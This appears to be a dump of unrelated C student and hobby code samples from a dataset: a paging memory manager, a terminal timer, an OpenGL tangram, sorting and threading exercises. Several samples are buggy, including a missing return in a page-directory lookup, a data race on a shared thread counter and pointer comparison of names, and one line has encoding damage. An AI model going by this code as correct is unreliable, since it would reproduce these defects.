memset(p, 0, sizeof(ptable));
}
uint32_t vmmngr_ptable_virt_to_index(virtual_addr addr) {
//! return index only if address doesnt exceed page table address space size
return (addr >= PTABLE_ADDR_SPACE_SIZE) ? 0 : addr / PAGE_SIZE;
}
pt_entry* vmmngr_ptable_lookup_entry(ptable* p,virtual_addr addr){
if(p)
return &p->m_entries[PAGE_TABLE_INDEX(addr)];
return 0;
}
uint32_t vmmngr_pdirectory_virt_to_index(virtual_addr addr) {
//! return index only if address doesnt exceed 4gb (page directory address space size)
return (addr >= DTABLE_ADDR_SPACE_SIZE) ? 0 : addr / PAGE_SIZE;
}
void vmmngr_pdirectory_clear(pdirectory* dir) {
if (dir)
memset(dir, 0, sizeof(pdirectory));
}
pd_entry* vmmngr_pdirectory_lookup_entry(pdirectory* p, virtual_addr addr){
if(p)
&p->m_entries[PAGE_TABLE_INDEX(addr)];
return 0;
}
int vmmngr_createPageTable(pdirectory* dir, uint32_t virt, uint32_t flags) {
pd_entry* pagedir = dir->m_entries;
if (pagedir[virt >> 22] == 0) {
void* block = pmmngr_alloc_block();
if (!block)
return 0; /* Should call debugger */
pagedir[virt >> 22] = ((uint32_t)block) | flags;
memset((uint32_t*)pagedir[virt >> 22], 0, 4096);
/* map page table into directory */
vmmngr_mapPhysicalAddress(dir, (uint32_t)block, (uint32_t)block, flags);
}
return 1; /* success */
}
void vmmngr_mapPhysicalAddress(pdirectory* dir, uint32_t virt, uint32_t phys, uint32_t flags) {
pd_entry* pagedir = dir->m_entries;
if (pagedir[virt >> 22] == 0)
vmmngr_createPageTable(dir, virt, flags);
((uint32_t*)(pagedir[virt >> 22] & ~0xfff))[virt << 10 >> 10 >> 12] = phys | flags;
}
void vmmngr_unmapPageTable(pdirectory* dir, uint32_t virt) {
pd_entry* pagedir = dir->m_entries;
if (pagedir[virt >> 22] != 0) {
/* get mapped frame */
void* frame = (void*)(pagedir[virt >> 22] & 0x7FFFF000);
/* unmap frame */
pmmngr_free_block(frame);
pagedir[virt >> 22] = 0;
}
}
void vmmngr_unmapPhysicalAddress(pdirectory* dir, uint32_t virt) {
/* note: we don't unallocate physical address here; callee does that */
pd_entry* pagedir = dir->m_entries;
if (pagedir[virt >> 22] != 0)
vmmngr_unmapPageTable(dir, virt);
// ((uint32_t*) (pagedir[virt >> 22] & ~0xfff))[virt << 10 >> 10 >> 12] = 0;
}
pdirectory* vmmngr_createAddressSpace() {
pdirectory* dir = 0;
/* allocate page directory */
dir = (pdirectory*)pmmngr_alloc_block();
if (!dir)
return 0;
/* clear memory (marks all page tables as not present) */
memset(dir, 0, sizeof(pdirectory));
return dir;
}
pdirectory* vmmngr_cloneAddressSpace()
{
pdirectory* dir = vmmngr_createAddressSpace();
pdirectory* current = vmmngr_get_directory();
memcpy(&dir->m_entries[768], ¤t->m_entries[768], 256*sizeof(pd_entry));
return dir;
}
void* vmmngr_getPhysicalAddress(pdirectory* dir, uint32_t virt) {
pd_entry* pagedir = dir->m_entries;
if (pagedir[virt >> 22] == 0)
return 0;
return (void*)((uint32_t*)(pagedir[virt >> 22] & ~0xfff))[virt << 10 >> 10 >> 12];
}
|
C
|
//This function sets the new terminal attributes
//Disabling ECHO and Setting it to nonconcial modea
#include "mytimer.h"
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <termios.h>
#include <signal.h>
#include <string.h>
#include <math.h>
//global variable
double TIME = 0;
int TFalse = 1;
int ON = 1;
double testing = SUBTRACT_CONST;
struct termios savedAtr;
struct sigaction sa;
struct itimerval timer;
// TIME needs to be global in order for signal handler to read it in
// This is for the twirler to know the postion and also to reset it
int twirler = 0;
void intalizeTermAtrr(struct termios newAtr)
{
//Make sure we are writing to the terminal
//Save the terminals pervoius atributes
tcgetattr(STDIN_FILENO, &savedAtr);
//Create new terminal attributes
tcgetattr (STDIN_FILENO, &newAtr);
newAtr.c_lflag &= ~(ICANON|ECHO); // Clear ICANON for nonconcical mode and stop echo
newAtr.c_cc[VINTR] = 0; //ctrl-c turn off the kill
newAtr.c_cc[VEOF] = 0; //ctrl-d EOF to terminal turn it off
newAtr.c_cc[VSUSP] = 0; //ctrl-z turn off the suspend
newAtr.c_cc[VTIME] = 0;// number of characters to read in
tcsetattr (STDIN_FILENO, TCSAFLUSH, &newAtr);// Set there atrributes
}
void resetTermAttr(struct termios savedAttr)
{
// return the old terminal atrributes
// This should be done only when 'q' is pressed
tcsetattr(STDIN_FILENO, TCSANOW,&savedAttr);
}
// Adjust Time
void changeClock(char i)
{ //set the time for H,h M,m S,s,C,R
sigset_t sig;
sigemptyset(&sig);
sigaddset(&sig,SIGALRM);
if(i == 'r') // run/stop
{
if(ON == 1) // stop
{
ON = 0; // turn it off
setitimer (ITIMER_REAL, 0, NULL);
//This block all alarm signals to stop incrementing
}
else{ // run
ON = 1;// it must be back on
setitimer (ITIMER_REAL, &timer, NULL);
}
}
if( i == 'c')
{
//sigprocmask(SIG_BLOCK,&sig,NULL);//block_signal
TIME = (1 - SUBTRACT_CONST);
TFalse = 0;
}
switch(i) {
case('H'):
TIME -= 3600; //minus an 1 hour
break;
case('h'):
TIME += 3600;//plus an hour
break;
case ('M'):
TIME -= 60;// minus an hour
break;
case ('m'):
TIME += 60;// plus a minute
break;
case ('S'):
TIME -= 1;// minus a second
break;
case ('s'):
TIME += 1;// plus a second
break;
default:
break;
}
printTime(0);
}
// implement Run/stop later
void tick()
{
// to set SIGALARM ACTION
// to set up when the SIGARLAM is going to be set
//set up sigaction to catch signal SIGALRM
memset (&sa, 0, sizeof (sa)); // init to zero
sa.sa_handler = &alarmHandler; //pass function that will go off after each tick
sigaction(SIGALRM,&sa,NULL); //alarm to be called
//Configure the timer to expire after MICRO_TIME
timer.it_value.tv_sec = 0;
timer.it_value.tv_usec = 1000000 /TICKS_PER_SECOND;
//and every MICRO_TIME after that
timer.it_interval.tv_usec = 1000000 / TICKS_PER_SECOND ;
//set timer
setitimer (ITIMER_REAL, &timer, NULL);
}
void twirlerP()
{
if(twirler == 0)
{
printf("\r|");//first postion
twirler += 1;
}
else if(twirler == 1)
{
printf ("\r/");// second postion
twirler += 1;
}
else if(twirler == 2)
{
printf("\r-");// third postion
twirler += 1;
}
else
{
printf("\r\\");// fourth postion
twirler = 0; //reset twirler back to orginal postion
}
}
// Function for action to be taken once the SIGALRM is caught
void alarmHandler()
{
printTime(TFalse);
TIME -= SUBTRACT_CONST;// for the next time
TFalse = 1;
}
//Use as a true falseZZzzzzzzzzzzzzzzzzz\ to determine whether we are normally decrementing
//the clock or if we are changing the time in which we should not be doing anthing
void printTime(int TFalse)
{
double rounded_up = ((int)(TIME * 100 + .5) / 100.0);
int timeT = fabs(floor(rounded_up));
// if its one its not being updated which means if the timer hits zero it must done
// else if its not 1 then its being updated so even if the timer reaches zero in this instant
// its should not go off
printf(" \r");// format for "twirler_-h:mm:ss
if(rounded_up == 0.96 && TFalse == 1)
{
printf("\a");// prints the bell character
printf("\rBeeeep! Time's up!\n"); // Timer is u
}
if(TFalse == 0)
{
TFalse = 1;
}
// knowing the position of the twirler
// to set negative time or not
twirlerP();
//q
if(rounded_up >= 0)
{
printf(" "); // two spaces
}
else
{
printf(" -"); // one space and a negative sign
}
// format printing
printf("%d",timeT/HOURS);// Divide up seconds to Hours
timeT -= ((timeT/HOURS)* MIN);// subtract leftovers
printf(":%02d",timeT/MIN);// no divide into minutes
TFalse;
timeT -= ((timeT/MIN)*MIN); // subtract left overs
printf(":%02d\r",timeT);// print the rest
TFalse;
fflush(stdout);
}
|
C
|
/*
** EPITECH PROJECT, 2019
** display help
** File description:
** functions for displaying help
*/
#include "../include/runner.h"
void my_putstr(char *str)
{
for (int i = 0; str[i]; i += 1)
write(1, &str[i], 1);
}
int display_help(void)
{
my_putstr("USAGE:\n\t./my_runner map_file (optionnal: <player_name>)\n\n");
my_putstr("DESCRIPTION:\n");
my_putstr("\tUse your mouse to select an option on main menu.\n\t");
my_putstr("Use SPACE to jump when you're playing.\n\nHOW TO CREATE MAP:");
my_putstr("\n\t0 for void, 1 for spike and 2 for platform.\n\t");
my_putstr("The ground is automatically generated\n\n\t");
my_putstr("WARNING: The file map must have 9 lines, not less, not more !");
my_putstr("\n\tInfos: To add a spike at the ground, place a '1' ");
my_putstr("character at line 8\n\nHave fun !\n");
return (0);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <GL/glut.h>
#include <GL/gl.h>
void display(void){
glClear (GL_COLOR_BUFFER_BIT);
glShadeModel( GL_FLAT);
glBegin( GL_TRIANGLE_STRIP );
glColor3f(0,0,1);
//prvi trokut
glVertex2f(0,0);
glVertex2f(1,1); // glColor3f( 0, 0.1, 0.5 );
glVertex2f(0,2); // glVertex3f( 0.0, 0.0, 0.0 );
//drugi
glColor3f(1,0,0);
glVertex2f(1.5,1.5);
glVertex2f(2.0,2.0);
//treci
glColor3f(1,1,0);
glVertex2f(2,1);
glEnd ( );
glBegin(GL_TRIANGLE_STRIP);
glColor3f(1,1,0);
glVertex2f(2,1);
glVertex2f(1.5,1.5);
glVertex2f(1.5,0.5);
//cetvrti
glColor3f(1,0.5,0.8);
glVertex2f(1,1);
//peti
glColor3f(1,0.5,0);
glVertex2f(1,0);
glVertex2f(0.5,0.5);
//sesti
glColor3f(0,1,0);
glVertex2f(0,0);
glEnd();
glBegin(GL_TRIANGLES);
glColor3f(0.2,1,1);
glVertex2f(1,0);
glVertex2f(2,0);
glVertex2f(2,1);
glEnd();
glFlush ();
}
void init (void) {
glClearColor (0.0, 0.0, 0.0, 0.0);
glEnable(GL_LINE_SMOOTH);
glHint(GL_LINE_SMOOTH_HINT, GL_NICEST);
glEnable(GL_BLEND);
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
glLineWidth(3);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
glOrtho(0, 2, 0, 2, -1, 1); //koordinatni sustav
}
int main(int argc, char** argv){
glutInit(&argc, argv);
glutInitDisplayMode (GLUT_SINGLE | GLUT_RGB);
glutInitWindowSize (850, 850);
glutInitWindowPosition (100, 100);
glutCreateWindow ("Tangram");
init ();
glutDisplayFunc(display);
glutMainLoop();
return 0;
}
|
C
|
/*
Entrada:
20 4
143 10
42 5
80 3
0 0
Saída:
Poodle
Poodle
Pooooooooooodle
Pooooooooooodle
Pooooodle
Pooooodle
Poooooooooooooooodle
Poooooooooooooooodle
20 4
143 10
42 5
80 3
0 0
*/
#include <stdio.h>
#define MAX 100
int main() {
int n, p, paginas, paginaFinal, index = 0;
while(1) {
scanf("%d %d", &n, &p);
if (n == 0 && p == 0) {
break;
}
printf("Poo");
paginas = n / p;
if (n % p != 0) {
paginas++;
}
if (paginas < 6) {
paginas = 0;
}
paginas = paginas - 6;
if (paginas > 14) {
paginas = 14;
}
while(paginas > 0) {
printf("o");
paginas--;
}
printf("dle\n");
}
return 0;
}
|
C
|
#include <stdio.h>
/*
ECE5984 Assignment 3
LICM micro benchmark 1
This only tests un-nested loops
*/
int main()
{
int a,b,c,d,e;
int f,g,h,i,j;
a = 20;
b = 10000;
c = 5;
d = 100;
// Un-nested while
while (a<b) {
a += a;
c = 100 + d;
e = c + 200;
}
f = 20;
g = 1000000;
h = 5;
i = 100;
// un-nested for
for(int a=0; a<g; a++) {
j = f + h;
i = a + f;
}
return 0;
}
|
C
|
/*
CH-230-A
a7 p6.[c or cpp or h]
Jose Biehl
[email protected]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
struct person {
char name[30];
int age;
};
//swaps two structs
void swap(struct person* x, struct person* y){
struct person xtemp;
xtemp = *x;
*x = *y;
*y = xtemp;
}
//descends age
void descendage(struct person* x, struct person* y, int* sorted){
size_t n;
if (x->age == y->age) {
n = ( strlen(x->name) < strlen(y->name) ? strlen(y->name) : strlen(x->name))+1;
//+1 ensures we do a \0 comparison at the end so bigger wins always
for (int i = 0; i < n; i++){
//this is pain
if (x->name[i] == y->name[i])
continue;
else if (x->name[i] > y -> name[i]){
swap(x, y);
*sorted = 1;
return;
}
else if (x->name[i] < y->name[i] )
return;
}
}
else if (x->age > y->age){
*sorted = 1;
swap(x,y);
}
return;
}
//sorts ascending by age
void ascendage(struct person* x, struct person* y, int* sorted){
size_t n;
//corner case PLEASE TELL ME HOW TO MAKE THIS MORE EFFICIENT
if (x->age == y->age) {
n = ( strlen(x->name) < strlen(y->name) ? strlen(y->name) : strlen(x->name)) +1 ;
for (int i = 0; i < n; i++){
//this is pain
if (x->name[i] == y->name[i])
continue;
else if (x->name[i] < y -> name[i]){
swap(x, y);
*sorted = 1;
return;
}
else if (x->name[i] > y->name[i] )
return;
}
}
//imagine if it were this easy
else if (x->age < y->age){
swap(x,y);
*sorted = 1;
return;
}
return;
}
//sorts descending by name
void descendname(struct person* x, struct person* y, int* sorted){
size_t n;
if(x->name == y->name){
if (x->age < y->age){
swap(x,y);
*sorted = 1;
return;
}
return;
}
n = ( strlen(x->name) < strlen(y->name) ? strlen(y->name) : strlen(x->name)) +1 ;
for (int i = 0; i < n; i++){
//this is pain
if (x->name[i] == y->name[i])
continue;
else if (x->name[i] > y -> name[i]){
swap(x, y);
*sorted = 1;
return;
}
else if (x->name[i] < y->name[i] )
return;
}
return;
}
//sorts ascending by name
void ascendname(struct person* x, struct person* y, int* sorted){
size_t n;
if(x->name == y->name){
if (x->age > y->age){
swap(x,y);
*sorted = 1;
return;
} else {return;}
}
n = ( strlen(x->name) < strlen(y->name) ? strlen(y->name) : strlen(x->name)) +1 ;
for (int i = 0; i < n; i++){
//this is pain
if (x->name[i] == y->name[i])
continue;
else if (x->name[i] < y -> name[i]){
swap(x, y);
*sorted = 1;
return;
}
else if (x->name[i] > y->name[i] )
return;
}
return;
}
// A function to implement bubble sort
void bubbleSort(struct person* arr, int n, void (*fct)(struct person*, struct person*, int*)){
int swapped = 1;
while (swapped == 1){
int i;
swapped = 0;
for (i = 1; i < n; i++){
fct(&arr[i], &arr[i-1], &swapped);
}
}
}
void printlist(struct person* arr, int n){
for (int i = 0; i < n; i++){
printf("{%s, %d}; ", arr[i].name, arr[i].age);
if (i+1 % 3 == 0){
printf("\n");
}
}
}
int main(int argc, const char * argv[]) {
int num;
printf("enter number of persons: ");
scanf("%d", &num);
struct person* arr = (struct person*) malloc(sizeof(struct person) * num);
char nameholder[30];
int ageholder;
for (int i = 0; i < num; i++){
scanf(" %s", nameholder);
scanf(" %d", &ageholder);
arr[i].age = ageholder;
strcpy(arr[i].name, nameholder);
}
bubbleSort(arr, num, &ascendage);
printlist(arr, num);
printf("\n");
bubbleSort(arr, num, &ascendname);
printlist(arr, num);
printf("\n");
return 0;
}
|
C
|
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
// Size of array
#define max 16
// Max number of thread
#define Th_max 4
int a[max] = { 1, 5, 7, 10, 12, 14, 15, 18, 20,
22, 25, 27, 300, 64, 110, 220 };
int max_num[Th_max] = { 0 };
int thread_no = 0;
// Function to find maximum
void maximum(void* arg)
{
int i, num = thread_no++;
int maxs = 0;
for (i = num * (max / 4); i < (num + 1) * (max / 4); i++) {
if (a[i] > maxs) {
maxs = a[i];
}
}
max_num[num] = maxs;
}
int main()
{
int maxs = 0;
int i;
pthread_t threads[Th_max];
// creating 4 threads
for (i = 0; i < Th_max; i++) {
pthread_create(&threads[i], NULL,
maximum, (void*)NULL);
}
// joining 4 threads and waiting for all 4 threads to complete
for (i = 0; i < Th_max; i++) {
pthread_join(threads[i], NULL);
}
// Finding max element in an array
// by individual threads
for (i = 0; i < Th_max; i++) {
if (max_num[i] > maxs) {
maxs = max_num[i];
}
}
printf("Maximum Element is : %d", maxs);
return 0;
}
|
C
|
#define MAX 2000
int kthFactor(int n, int k){
if(n==1)return 1;
int fact[MAX],t=0,i;
int new=n;
for(i=1;i<=n;i++){
if(new%i==0){
fact[t++]=i;
}
}
if(k>t)return -1;
return fact[k-1];
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.